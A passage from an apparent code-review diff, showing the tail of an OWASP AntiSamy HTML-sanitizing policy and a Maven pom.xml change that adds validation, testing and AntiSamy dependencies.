<tag name="dl" action="remove"/>
<tag name="dt" action="remove"/>
<tag name="dd" action="remove"/>
</tag-rules>
<css-rules>
<property name="text-decoration" default="none"
description="">
<category-list>
<category value="visual"/>
</category-list>
<literal-list>
<literal value="underline"/>
<literal value="overline"/>
<literal value="line-through"/>
</literal-list>
</property>
</css-rules>
</anti-samy-rules>

41
pom.xml

@ -47,6 +47,7 @@
<jjwt.version>0.7.0</jjwt.version>
<json-path.version>2.2.0</json-path.version>
<junit.version>4.12</junit.version>
<jupiter.version>5.7.1</jupiter.version>
<slf4j.version>1.7.7</slf4j.version>
<logback.version>1.2.3</logback.version>
<mockito.version>3.3.3</mockito.version>
@ -113,6 +114,10 @@
<protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
<wire-schema.version>3.4.0</wire-schema.version>
<twilio.version>7.54.2</twilio.version>
<hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
<javax.el.version>3.0.0</javax.el.version>
<javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
<antisamy.version>1.6.2</antisamy.version>
</properties>
<modules>
@ -1261,6 +1266,12 @@
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
<version>${jupiter.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.dbunit</groupId>
<artifactId>dbunit</artifactId>
@ -1458,6 +1469,36 @@
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.hibernate.validator</groupId>
<artifactId>hibernate-validator</artifactId>
<version>${hibernate-validator.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
<version>${javax.el.version}</version>
</dependency>
<dependency>
<groupId>javax.validation</groupId>
<artifactId>validation-api</artifactId>
<version>${javax.validation-api.version}</version>
</dependency>
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>${antisamy.version}</version>
<exclusions>
<exclusion>
<groupId>org.slf4j</groupId>
<artifactId>*</artifactId>
</exclusion>
<exclusion>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-annotations</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</dependencyManagement>

Loading…
Cancel
Save